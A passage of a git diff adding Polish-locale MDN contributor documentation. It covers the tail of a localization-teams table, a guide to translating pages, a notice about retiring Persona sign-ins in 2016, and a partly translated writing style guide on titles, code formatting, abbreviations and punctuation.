+ <td><a href="/profiles/hapztron">Hassadee Pimsuwan</a></td>
+ <td>We really need more translators</td>
+ </tr>
+ <tr>
+ <td>
+ <p>Turkish</p>
+ </td>
+ <td> </td>
+ <td><a href="/profiles/techexpert">techexpert</a>, <a href="/profiles/ramesaliyev">ramesaliyev</a></td>
+ <td>
+ <p>We really really need <span style="line-height: 1.5;">more translators.</span></p>
+ </td>
+ </tr>
+ <tr>
+ <td>Hindi</td>
+ <td> </td>
+ <td><a href="/profiles/Meghraj">Meghraj</a>, <a href="/profiles/meghraj">meghraj</a>, <a href="/profiles/flashadicts">flashadicts</a></td>
+ <td>
+ <p>We really need more translators</p>
+ </td>
+ </tr>
+ <tr>
+ <td>Hawaiian</td>
+ <td> </td>
+ <td><a href="/profiles/Kolonahe">Kolonahe</a></td>
+ <td>We really really need more translators.</td>
+ </tr>
+ <tr>
+ <td>Serbian</td>
+ <td> </td>
+ <td><a href="/profiles/VladimirKrstic">VladimirKrstic</a></td>
+ <td>Starting localization, all that wish to contribute are welcome. Lots of work has to be done.</td>
+ </tr>
+ <tr>
+ <td>Sinhalese</td>
+ <td><a href="/profiles/pkavinda">pkavinda</a></td>
+ <td><a href="/profiles/pkavinda">pkavinda</a></td>
+ <td>
+ <p>Please help us with Translation.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>Malayalam</td>
+ <td><a href="/profiles/riginoommen">riginoommen</a></td>
+ <td><a href="/profiles/amjadm61">amjadm61</a>, <a href="/profiles/Kumaresan.C.S">Kumaresan.C.S</a>, <a href="/profiles/alfasst">alfasst</a>,<a href="/profiles/abin_abraham">abin_abraham</a>,</td>
+ <td>Please Help us in Localization Of Docs To the Malayalam Language</td>
+ </tr>
+ <tr>
+ <td>Myanmar</td>
+ <td><a href="/profiles/SetKyarWaLar">SetKyarWaLar</a></td>
+ <td><a href="/profiles/SetKyarWaLar">SetKyarWaLar</a></td>
+ <td>Please Help us in Localization Of Docs To the Myanmar Language</td>
+ </tr>
+ </tbody>
+</table>
+
+<section id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Mozilla/Localization">Lokalizacja</a></li>
+ <li><a href="/en-US/docs/Localization_and_Plurals">Lokalizacja i liczby mnogie</a></li>
+ <li><a href="/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim">Lokalizacja przy pomocy Verbatim</a></li>
+</ol>
+</section>
diff --git a/files/pl/mdn/contribute/localize/translating_pages/index.html b/files/pl/mdn/contribute/localize/translating_pages/index.html
new file mode 100644
index 0000000000..a9d78ef72f
--- /dev/null
+++ b/files/pl/mdn/contribute/localize/translating_pages/index.html
@@ -0,0 +1,40 @@
+---
+title: Tłumaczenie stron MDN
+slug: MDN/Contribute/Localize/Translating_pages
+tags:
+ - Lokalizacja
+ - MDN
+ - Projekt MDC
+ - Tłumaczenie stron
+translation_of: MDN/Contribute/Localize/Translating_pages
+---
+<div>{{MDNSidebar}}</div>
+
+<p>Ten artykuł jest podstawowym przewodnikiem po tłumaczeniu treści w serwisie MDN, obejmującym zarówno mechanizm wykonywania tłumaczeń jak i porady dotyczące właściwego tłumaczenia różnych typów treści.</p>
+
+<h2 id="Rozpoczynanie_nowego_tłumaczenia_strony">Rozpoczynanie nowego tłumaczenia strony</h2>
+
+<p>Kiedy znajdziesz się na stronie, którą chciałbyś przetłumaczyć na swój język, postępuj zgodnie z krokami:</p>
+
+<ol>
+ <li>Kliknij na Ikonę Języków, by otworzyć <strong>Menu Języków</strong> po czym wybierz <strong>Dodaj Tłumaczenie (Add a Translation)</strong>. Pokaże się lista języków.</li>
+ <li>Wybierz język, na który chcesz przetłumaczyć daną stronę. Pokaże się strona z tekstem oryginalnym po lewej stronie i tym do przetłumaczenia po prawej.</li>
+ <li>Pod <strong>"Translate Description"</strong> możesz przetłumaczyć tytuł i ewentualnie końcówkę na swój język. Końcówka to ostatnia część adresu URL danej strony (np. dla tego artykułu będzie to "Translating_pages"). Niektórzy nie tłumaczą jednak końcówki, zostawiając ją taką, jak w angielskim. Dostosuj więc swoje tłumaczenie do innych artykułów, aby uprościć wyszukiwanie. Możesz też kliknąć na znak minusa obok <strong>Opisu Tłumaczenia (Translate Description)</strong>, aby ukryć infomację, kiedy skończyłeś. Dzięki temu możesz zrobić więcej miejsca na <strong>Tłumaczenie</strong>.</li>
+ <li>Pod <strong>Tłumaczeniem (Translate Content) </strong>przetłumacz tekst z wybranej wcześniej strony.</li>
+ <li>Dodaj przynajmniej jeden <strong>tag</strong>.</li>
+ <li>Kliknij <strong>Zapisz zmiany</strong>kiedy skończysz.</li>
+</ol>
+
+<h2 id="Edytowanie_przetłumaczonej_strony"><strong>Edytowanie przetłumaczonej strony</strong></h2>
+
+<ul>
+ <li>Na przetłumaczonej stronie kliknij przycisk <strong>Edytuj (Edit)</strong>. Pokaże się strona do poprawienia.</li>
+</ul>
+
+<p>Jeśli oryginalna, angielska wersja była zmieniana od czasu aktualizacji ostatniego tłumaczenia, pokaże się lista zmian w języku angielskim. To pomoże Ci znaleźć, co trzeba zaktualizować w tłumaczeniu.</p>
+
+<h2 id="Tłumaczenie_tagów">Tłumaczenie tagów</h2>
+
+<p>To ważne, żeby każda strona miała przynajmniej jeden tag. Nawet jeśli jest to tłumaczenie.</p>
+
+<p>Niektóre tagi jednak z zamysłu autora strony nie mają być tłumaczone. Aby dowiedzieć się więcej, które tagi nie powinny być przetłumaczone, zobacz <a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards">standardy tagowania</a>.</p>
diff --git a/files/pl/mdn/contribute/persona_sign-in/index.html b/files/pl/mdn/contribute/persona_sign-in/index.html
new file mode 100644
index 0000000000..0d5a2dfc7a
--- /dev/null
+++ b/files/pl/mdn/contribute/persona_sign-in/index.html
@@ -0,0 +1,26 @@
+---
+title: MDN and Persona sign-ins
+slug: MDN/Contribute/Persona_sign-in
+translation_of: Archive/MDN/Persona_sign-ins
+---
+<div>{{MDNSidebar}}</div><div class="warning">
+<p>Please <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">link your GitHub account to your MDN profile now</a> so you can continue to sign in to MDN.</p>
+</div>
+
+<p>Currently, MDN lets contributors sign in using two different authentication providers: Mozilla Persona and GitHub. Starting on November 1, 2016, we will remove Persona as an option for logging in. Therefore, you must enable Github authentication on your profile to avoid losing login access to MDN.</p>
+
+<p>We recognize that this is an inconvenience, and we do apologize for it. Unfortunately, this is out of our control.</p>
+
+<h2 id="Why_is_Persona_being_removed">Why is Persona being removed?</h2>
+
+<p>Mozilla has shut down the Persona project, and its servers will be turned off in November, 2016. You can <a href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers#FAQs">learn more about Mozilla's decision</a> to shut down Persona on the Mozilla wiki.</p>
+
+<h2 id="When_will_Persona_be_removed">When will Persona be removed?</h2>
+
+<p>We will disable Persona as an authentication provider on November 1, 2016; in other words, the last day you'll be able to sign in to MDN using Persona will be October 31, 2016. We will be issuing increasingly frequent and increasingly urgent notifications to <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">add a GitHub account to your MDN profile</a> starting now. Please do this as soon as you can, in order to avoid any risk of losing access to your MDN account.</p>
+
+<h2 id="Will_MDN_offer_another_authentication_provider">Will MDN offer another authentication provider?</h2>
+
+<p>We would very much like to do so, but have not yet identified another provider which meets our requirements; in addition, we don't currently have the developer resources to integrate another provider. For the time being, your <em>only</em> option to keep contributor access to MDN is to <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">link your MDN profile to your GitHub account</a>.</p>
+
+<p>Keep in mind, of course, that you don't need to sign in to MDN in order to read our content. But if you have an account for contributing, and wish to be able to contribute at any time in the future, be sure to <em><strong>add a GitHub account to your profile as soon as you can,</strong></em> before October 31, 2016.</p>
diff --git a/files/pl/mdn/guidelines/index.html b/files/pl/mdn/guidelines/index.html
new file mode 100644
index 0000000000..04fed28059
--- /dev/null
+++ b/files/pl/mdn/guidelines/index.html
@@ -0,0 +1,20 @@
+---
+title: Treść i styl dokumentacji MDN
+slug: MDN/Guidelines
+tags:
+ - Documentation
+ - Dokumentacja
+ - Landing
+ - MDN
+ - NeedsTranslation
+ - TopicStub
+ - Wymaga tłumaczenia
+translation_of: MDN/Guidelines
+---
+<div>
+<p>{{MDNSidebar}}</p>
+
+<p>Te przewodniki dostarczają szczegółowych informacji o tym jak dokumentacja MDN powinna być napisana i sformatowana. Również, jak powinna wyglądać prezentacja przykładowego kodu oraz innych treści użytych na stronach dokumentacji. Sprawdzając poszczególne samouczki, możesz być pewny, że treści tworzone zgodnie z nimi, będą przejrzyste i czytelne, a co najważniejsze łatwe w użytkowaniu.</p>
+
+<p>{{LandingPageListSubpages}}</p>
+</div>
diff --git a/files/pl/mdn/guidelines/style_guide/index.html b/files/pl/mdn/guidelines/style_guide/index.html
new file mode 100644
index 0000000000..370bd6714e
--- /dev/null
+++ b/files/pl/mdn/guidelines/style_guide/index.html
@@ -0,0 +1,556 @@
+---
+title: Przewodnik po stylach dokumentacji MDN
+slug: MDN/Guidelines/Style_guide
+tags:
+ - Dokumentacja
+ - Dokumenty MDN
+ - Przewodnik
+ - Przewodnik stylu MDN
+ - Style w MDN
+translation_of: MDN/Guidelines/Writing_style_guide
+---
+<div>{{MDNSidebar}}</div>
+
+<p><font><font>W celu wyświetlenia dokumentacji w zorganizowany, znormalizowany i łatwy do odczytania sposób, przewodnik stylu Mozilla Developer Network opisuje, w jaki sposób tekst powinien być zorganizowany, zapisany, sformatowany i tak dalej. </font><font>Są to wytyczne, a nie surowe zasady. </font></font><font><font>Jesteśmy bardziej zainteresowani treścią niż formatowaniem, nie jesteś zobowiązany do uczenia się całego przewodnika po stylach MDN przed wniesieniem wkładu. </font><font>Nie bądź jednak zdenerwowany lub zaskoczony, jeśli inny tłumacz zmodyfikuje w późniejszym czasie edytowany przez ciebie artykuł, aby dostosować się go, do głównych wytycznych stawianych dokumnetacji MDN.</font></font></p>
+
+<p>Jeśli szukasz informacji jak dany typ strony powinien być ustrukturyzowany, zobacz poradnik dotyczący <a href="/en-US/docs/MDN/Contribute/Content/Layout">układu stron MDN</a></p>
+
+<p>Aspekty językowe tego przewodnika dotyczą przede wszystkim dokumentacji w języku angielskim. Inne kraje mogą mieć (i mogą tworzyć) przewodniki po stylach we własnym języku. Tłumaczenia takie powinny być opublikowane jako podstrony, na lokalnych stronach MDN, dedykowanych dla danego języka przez zespół zajmujący się tłumaczeniami tzw. zespół lokalizacyjny.</p>
+
+<p>Zapoznaj się ze standardami styli stosowanych do treści witryn innych niż MDN, zobacz <a href="http://www.mozilla.org/en-US/styleguide/" title="http://www.mozilla.org/en-US/styleguide/">Przewodnik po stylach One Mozilla</a>.</p>
+
+<h2 id="Page_name_and_heading_capitalization" name="Page_name_and_heading_capitalization">Podstawy</h2>
+
+<h3 id="Tytuły_stron">Tytuły stron</h3>
+
+<p>Tytuły stron używane są w wynikach wyszukiwania, dzięki temu łatwiej jest znaleźć stronę w wynikach organicznych wyszukiwarek. Tytuły służą również do zachowania odpowiedniej struktury strony. Dlatego wraz z menu okruszkowym lub inaczej okruszkami(z ang. breadcrumbs)  umieszczane są na górze strony, w celu zachowania odpowiedniej jej hierarchii. Tytuł,  wyświetlany na górze w oknie przeglądarki, może różnić się od tzw. slug'a, który jest elemnetem adresu URL, następującym po "<em>&lt;locale&gt;/docs/</em>".</p>
+
+<h4 id="Tytuł_i_wielkie_literykapitaliki">Tytuł i wielkie litery(kapitaliki)</h4>
+
+<p>Tytuły stron i nagłówki sekcji(H1-H6) powinny być formatowane w taki sam sposób jak zdania. Wielka litera powinna być pisana na początku pierwszego słowa, również powinna wystąpić w nazwach własnych. Powinieneś unikać słów pisanych tzw. pismem wielbłądzim(które w anglojęzycznych krajach jest stosowane w tytułach): </p>
+
+<ul>
+ <li><span class="correct"><strong>Poprawnie</strong></span>: "Nowa metoda tworzenia rolloverów w JavaScript"</li>
+ <li><font color="#ff0000"><strong>Niepoprawnie</strong></font>: "Nowa Metoda Tworzenia Rolloverów w JavaScript"</li>
+</ul>
+
+<p>Mamy wiele starszych stron, które zostały napisane przed ustanowieniem tej reguły stylu. Jeśli chcesz, możesz je aktualizować w razie potrzeby. Stopniowo do nich docieramy.</p>
+
+<h4 id="Choosing_titles_and_slugs">Choosing titles and slugs</h4>
+
+<p>Page slugs should be kept short; when creating a new level of hierarchy, the new level's component in the slug should generally just be a word or two.</p>
+
+<p>Page titles, on the other hand, may be as long as you like, within reason, and they should be descriptive.</p>
+
+<h4 id="Creating_new_subtrees">Creating new subtrees</h4>
+
+<p>When you need to add a number of articles about a topic or topic area, you will typically do so by creating a landing page, then adding subpages for each of the individual articles. The landing page should open with a paragraph or two describing the topic or technology, then provide a list of the subpages with descriptions of each page. You can automate the insertion of pages into the list using a number of macros we've created.</p>
+
+<p>For example, consider the<a href="http://www.mozilla.org/en-US/styleguide/" title="http://www.mozilla.org/en-US/styleguide/"> </a><a href="/en-US/docs/Web/JavaScript">JavaScript</a> guide, which is structured like this:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide" title="JavaScript/Guide">JavaScript/Guide</a> - Main table-of-contents page</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/JavaScript_Overview" title="JavaScript/Guide/JavaScript_Overview">JavaScript/Guide/JavaScript Overview</a></li>
+ <li><a href="/en-US/docs/JavaScript/Guide/Functions" title="JavaScript/Guide/Functions">JavaScript/Guide/Functions</a></li>
+ <li><a href="/en-US/docs/JavaScript/Guide/Details_of_the_Object_Model" title="JavaScript/Guide/Details_of_the_Object_Model">JavaScript/Guide/Details of the Object Model</a></li>
+</ul>
+
+<p>Try to avoid putting your article at the top of the hierarchy, which slows the site down and makes search and site navigation less effective.</p>
+
+<h3 id="Sections.2C_Paragraphs.2C_Newlines" name="Sections.2C_Paragraphs.2C_Newlines">Sections, paragraphs, and newlines</h3>
+
+<p>Use heading levels in decreasing order: {{HTMLElement("h2")}} then {{HTMLElement("h3")}} then {{HTMLElement("h4")}}, without skipping levels. H2 is the highest level allowed because H1 is reserved for the page title. If you need more than three or four levels of headers you should consider breaking up the article into several smaller articles with a landing page, linking them together using the {{TemplateLink("Next")}}, {{TemplateLink("Previous")}}, and {{TemplateLink("PreviousNext")}} macros.</p>
+
+<p>The enter (or return) key on your keyboard starts a new paragraph. To insert a newline without a space, hold down the shift key while pressing enter.</p>
+
+<h3 id="Text_Formatting" name="Text_Formatting">Text formatting and styles</h3>
+
+<p>Use the "Formatting Styles" drop-down list to apply predefined styles to selected content.</p>
+
+<div class="note"><strong>Note: </strong>The "Note" style is used to call out important notes, like this one.</div>
+
+<div class="warning"><strong>Warning:</strong> Similarly, the "Warning" style creates warning boxes like this.</div>
+
+<p>Unless specifically instructed to do so, <strong>do not</strong> use the HTML <code>style</code> attribute to manually style content. If you can't do it using a predefined class, drop into {{IRCLink("mdn")}} and ask for help.</p>
+
+<h3 id="Code_sample_style_and_formatting">Code sample style and formatting</h3>
+
+<h4 id="Tabs_and_line_breaks">Tabs and line breaks</h4>
+
+<p>Use two spaces per tab in all code samples. Code should be indented cleanly, with open-brace ("{") characters on the same line as the statement that opens the block. For example:</p>
+
+<pre class="brush: js notranslate">if (condition) {
+ /* handle the condition */
+} else {
+ /* handle the "else" case */
+}
+</pre>
+
+<p>Long lines shouldn't be allowed to stretch off horizontally to the extent that they require horizontal scrolling to read. Instead, break at natural breaking points. Some examples follow:</p>
+
+<pre class="brush: js notranslate">if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
+ || class.YET_ANOTHER_CONDITION ) {
+ /* something */
+}
+
+var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
+ .createInstance(Components.interfaces.nsIToolkitProfileService);
+</pre>
+
+<h4 id="Inline_code_formatting">Inline code formatting</h4>
+
+<p>Use the "Code" button (labeled with two angle brackets "&lt;&gt;") to apply inline code-style formatting to function names, variable names, and method names (this uses the {{HTMLElement("code")}} element). For example, "the <code class="js plain">frenchText()</code> function".</p>
+
+<p>Method names should be followed by a pair of parentheses: <code>doSomethingUseful()</code>. This helps to differentiate methods from other code terms.</p>
+
+<h4 id="Syntax_highlighting">Syntax highlighting</h4>
+
+<p><img alt='Screenshot of the "syntax highlighting" menu.' src="https://mdn.mozillademos.org/files/7857/syntax-highlighting-menu.png" style="border-style: solid; border-width: 1px; float: right; height: 315px; margin: 2px 4px; width: 183px;">Entire lines (or multiple lines) of code should be formatted using syntax highlighting rather than the {{HTMLElement("code")}} element. Click the "pre" button in the toolbar to create the preformatted content box in which you'll then write your code. Then, with the text entry cursor inside the code box, select the appropriate language from the language list button to the right of the "pre" button, as seen in the screenshot to the right. The following example shows text with JavaScript formatting:</p>
+
+<div class="line number2 index1 alt1">
+<pre class="brush: js notranslate">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
+ document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);</pre>
+</div>
+
+<p>If no appropriate transformation is available, use the <code>pre</code> tag without specifying a language ("No Highlight" in the language menu).</p>
+
+<pre class="notranslate">x = 42;</pre>
+
+<h4 id="Styling_HTML_element_references">Styling HTML element references</h4>
+
+<p>There are various specific rules to follow when writing about HTML elements, in order to consistently describe the various components of elements, and to ensure that they're properly linked to detailed documentation.</p>
+
+<dl>
+ <dt>Element names</dt>
+ <dd>Use the {{TemplateLink("HTMLElement")}} macro, which creates a link to the page for that element. For example, writing \{{HTMLElement("title")}} produces "{{HTMLElement("title")}}". If you don't want to create a link, <strong>enclose the name in angle brackets</strong> and use "Code (inline)" style (e.g., <code>&lt;title&gt;</code>).</dd>
+ <dt>Attribute names</dt>
+ <dd>Use <strong>bold face</strong>.</dd>
+ <dt>Attribute definitions</dt>
+ <dd>Use the {{TemplateLink("htmlattrdef")}} macro (e.g., <span class="nowiki">\{{htmlattrdef("type")}}</span>) for the definition term, so that it can be linked to from other pages, then use the {{TemplateLink("htmlattrxref")}} macro (e.g., <span class="nowiki">\{{htmlattrxref("attr","element")}}</span>) to reference attribute definitions.</dd>
+ <dt>Attribute values</dt>
+ <dd>Use "Code (inline)" style, and do not use quotation marks around strings, unless needed by the syntax of a code sample. E.g.: When the <strong>type</strong> attribute of an <code>&lt;input&gt;</code> element is set to <code>email</code> or <code>tel</code> ...</dd>
+ <dt>Labeling attributes</dt>
+ <dd>Use labels like {{HTMLVersionInline(5)}} thoughtfully. For example, use them next to the bold attribute name but not for every occurrence in your body text.</dd>
+</dl>
+
+<h3 id="Latin_abbreviations" name="Latin_abbreviations">Latin abbreviations</h3>
+
+<h4 id="In_notes_and_parentheses" name="In_notes_and_parentheses">In notes and parentheses</h4>
+
+<ul>
+ <li>Common Latin abbreviations (etc., i.e., e.g.) may be used in parenthetical expressions and in notes. Use periods in these abbreviations.
+ <ul>
+ <li><span class="correct"><strong>Correct</strong></span>: Web browsers (e.g. Firefox) can be used ...</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers e.g. Firefox can be used ...</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers, e.g. Firefox, can be used ...</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers, (eg: Firefox) can be used ...</li>
+ </ul>
+ </li>
+</ul>
+
+<h4 id="In_running_text" name="In_running_text">In running text</h4>
+
+<ul>
+ <li>In regular text (i.e. text outside of notes or parentheses), use the English equivalent of the abbreviation.
+ <ul>
+ <li><span class="correct"><strong>Correct</strong></span>: ... web browsers, and so on.</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: ... web browsers, etc.</li>
+ <li><span class="correct"><strong>Correct</strong></span>: Web browsers such as Firefox can be used ...</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers e.g. Firefox can be used ...</li>
+ </ul>
+ </li>
+</ul>
+
+<h4 id="Meanings_and_English_equivalents_of_Latin_abbreviations" name="Meanings_and_English_equivalents_of_Latin_abbreviations">Meanings and English equivalents of Latin abbreviations</h4>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Abbrev</th>
+ <th>Latin</th>
+ <th>English</th>
+ </tr>
+ <tr>
+ <td>cf.</td>
+ <td><em>confer</em></td>
+ <td>compare</td>
+ </tr>
+ <tr>
+ <td>e.g.</td>
+ <td><em>exempli gratia</em></td>
+ <td>for example</td>
+ </tr>
+ <tr>
+ <td>et al.</td>
+ <td><em>et alii</em></td>
+ <td>and others</td>
+ </tr>
+ <tr>
+ <td>etc.</td>
+ <td><em>et cetera</em></td>
+ <td>and so forth, and so on</td>
+ </tr>
+ <tr>
+ <td>i.e.</td>
+ <td><em>id est</em></td>
+ <td>that is, in other words</td>
+ </tr>
+ <tr>
+ <td>N.B.</td>
+ <td><em>nota bene</em></td>
+ <td>note well</td>
+ </tr>
+ <tr>
+ <td>P.S.</td>
+ <td><em>post scriptum</em></td>
+ <td>postscript</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note:</strong> Always consider whether it's truly beneficial to use a Latin abbreviation. Some of these are used so rarely that many readers won't understand the meaning, and others are often confused with one another. And be sure that <strong>you</strong> use them correctly, if you choose to do so. For example, be careful not to confuse "e.g." with "i.e.", which is a common error.</p>
+</div>
+
+<h3 id="Acronyms_and_abbreviations" name="Acronyms_and_abbreviations">Acronyms and abbreviations</h3>
+
+<h4 id="Capitalization_and_periods" name="Capitalization_and_periods">Capitalization and periods</h4>
+
+<p>Use full capitals and delete periods in all acronyms and abbreviations, including organizations such as "US" and "UN".</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: XUL</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: X.U.L.; Xul</li>
+</ul>
+
+<h4 id="Expansion" name="Expansion">Expansion</h4>
+
+<p>On the first mention of a term on a page, expand acronyms likely to be unfamiliar to users. When in doubt, expand it, or, better, link it to the article or <a href="/en-US/docs/Glossary">glossary</a> entry describing the technology.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: "XUL (XML User Interface Language) is Mozilla's XML-based language..."</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: "XUL is Mozilla's XML-based language..."</li>
+</ul>
+
+<h4 id="Plurals_of_acronyms_and_abbreviations" name="Plurals_of_acronyms_and_abbreviations">Plurals of acronyms and abbreviations</h4>
+
+<p>For plurals of acronyms or abbreviations, add <em>s</em>. Don't use an apostrophe. Ever. Please.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: CD-ROMs</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: CD-ROM's</li>
+</ul>
+
+<h3 id="Contractions" name="Contractions">Capitalization</h3>
+
+<p>Use standard English capitalization rules in body text, and capitalize "World Wide Web" and "Web".</p>
+
+<h3 id="Contractions" name="Contractions">Contractions</h3>
+
+<p>Use contractions (e.g. "don't", "can't", "shouldn't") if you prefer. We're not that formal!</p>
+
+<h3 id="Pluralization" name="Pluralization">Pluralization</h3>
+
+<p>Use English-style plurals, not the Latin- or Greek-influenced forms.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: syllabuses, octopuses</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: syllabi, octopi</li>
+</ul>
+
+<h3 id="Hyphenation" name="Hyphenation">Hyphenation</h3>
+
+<p>Hyphenate compounds when the last letter of the prefix is a vowel and is the same as the first letter of the root.</p>
+
+<ul>
+ <li><font color="green"><strong>Correct</strong></font>: email, re-elect, co-op</li>
+ <li><font color="red"><strong>Incorrect</strong></font>: e-mail, reelect, coop</li>
+</ul>
+
+<h3 id="Gender-neutral_language">Gender-neutral language</h3>
+
+<p>It is a good idea to use gender-neutral language in any kind of writing where gender is irrelevant to the subject matter, to make the text as inclusive as possible. So for example, if you are talking about the actions of a specific man, usage of he/his would be fine, but if the subject is a person of either gender, he/his isn't really appropriate.<br>
+ <br>
+ Let's take the following example:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the user if he allows the web page to make use of his web cam.</p>
+</blockquote>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the user if she allows the web page to make use of her web cam.</p>
+</blockquote>
+
+<p>Both versions in this case are gender-specific. This could be fixed by using gender-neutral pronouns:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the user if they allow the web page to make use of their web cam.</p>
+</blockquote>
+
+<div class="note">
+<p><strong>Note:</strong> MDN allows the use of this very common syntax (which is controversial among usage authorities), in order to make up for the lack of a neutral gender in English. The use of the third-person plural as a neutral gender pronoun (that is, using "they," them", "their," and "theirs") is an accepted practice, commonly known as "<a href="http://en.wikipedia.org/wiki/Singular_they">singular 'they.'</a>"</p>
+</div>
+
+<p>You can use both genders:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the user if he or she allows the web page to make use of his/her web cam.</p>
+</blockquote>
+
+<p>making the users plural:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the users if they allow the web page to make use of their web cams.</p>
+</blockquote>
+
+<p>The best solution, of course, is to rewrite and eliminate the pronouns completely:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, requesting the user's permission for web cam access.</p>
+</blockquote>
+
+<blockquote>
+<p>A confirmation dialog box appears, which asks the user for permission to use the web cam.</p>
+</blockquote>
+
+<p>The last way of dealing with the problem is arguably better, as it is not only grammatically more correct but removes some of the complexity associated with dealing with genders across different languages that may have wildly varying gender rules. This can make translation easier, both for readers reading English, then translating it into their own language as they read, and for localizers translating articles into their own language.</p>
+
+<h3 id="Numbers_and_numerals" name="Numbers_and_numerals">Numbers and numerals</h3>
+
+<h4 id="Dates">Dates</h4>
+
+<p>For dates (not including dates in code samples) use the format "January 1, 1990".</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: February 24, 2006</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: February 24th, 2006; 24 February, 2006; 24/02/2006</li>
+</ul>
+
+<p>Alternately, you can use the YYYY/MM/DD format.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: 2006/02/24</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: 02/24/2006; 24/02/2006; 02/24/06</li>
+</ul>
+
+<h4 id="Decades" name="Decades">Decades</h4>
+
+<p>For decades, use the format "1990s". Don't use an apostrophe.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: 1990s</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: 1990's</li>
+</ul>
+
+<h4 id="Plurals_of_numerals" name="Plurals_of_numerals">Plurals of numerals</h4>
+
+<p>For plurals of numerals add "s". Don't use an apostrophe.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: 486s</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: 486's</li>
+</ul>
+
+<h4 id="Commas" name="Commas">Commas</h4>
+
+<p>In running text, use commas only in five-digit and larger numbers.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: 4000; 54,000</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: 4,000; 54000</li>
+</ul>
+
+<h3 id="Punctuation" name="Punctuation">Punctuation</h3>
+
+<h4 id="Serial_comma" name="Serial_comma">Serial comma</h4>
+
+<p><strong>Use the serial comma</strong>. The serial (also known as "Oxford") comma is the comma that appears before the conjunction in a series of three or more items.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: I will travel on trains, planes, and automobiles.</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: I will travel on trains, planes and automobiles.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> This is in contrast to the <a href="http://www.mozilla.org/en-US/styleguide/" title="http://www.mozilla.org/en-US/styleguide/">One Mozilla style guide</a>, which specifies that the serial comma is not to be used. MDN is an exception to this rule.</p>
+</div>
+
+<h3 id="Spelling" name="Spelling">Spelling</h3>
+
+<p>For words with variant spellings, always use the first entry at <a href="http://www.answers.com/library/Dictionary">Answers.com</a>. Do not use variant spellings.</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: localize, honor</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: localise, honour</li>
+</ul>
+
+<h3 id="Terminology">Terminology</h3>
+
+<h4 id="Obsolete_vs._deprecated">Obsolete vs. deprecated</h4>
+
+<p>It's important to be clear on the difference between the terms <strong>obsolete</strong> and <strong>deprecated</strong>.</p>
+
+<dl>
+ <dt>Obsolete:</dt>
+ <dd>On MDN, the term <strong>obsolete</strong> marks an API or technology that is not only no longer recommended, but also no longer implemented in the browser. For Mozilla-specific technologies, the API is no longer implemented in Mozilla code; for Web standard technology, the API or feature is no longer supported by current, commonly-used browsers.</dd>
+ <dt>Deprecated:</dt>
+ <dd>On MDN, the term <strong>deprecated</strong> marks an API or technology that is no longer recommended, but is still implemented and may still work. These technologies will in theory eventually become <em>obsolete</em> and be removed, so you should stop using them. For Mozilla-specific technologies, the API is still supported in Mozilla code; for Web standard technology, the API or feature has been removed or replaced in a recent version of the defining standard.</dd>
+</dl>
+
+<h4 id="HTML_elements">HTML elements</h4>
+
+<p>Use "elements" to refer to HTML and XML elements, rather than "tags". In addition, they should almost always be wrapped in "&lt;&gt;", and should be in the {{HTMLElement("code")}} style. Also, at least the first time you reference a given element in a section should use the {{TemplateLink("HTMLElement")}} macro, to create a link to the documentation for the element (unless you're writing within that element's reference document page).</p>
+
+<ul>
+ <li><span class="correct"><strong>Correct</strong></span>: the {{HTMLElement("span")}} element</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: the span tag</li>
+</ul>
+
+<h4 id="User_interface_actions">User interface actions</h4>
+
+<p>In task sequences, describe user interface actions using the imperative mood. Identify the user interface element by its label and type.</p>
+
+<ul>
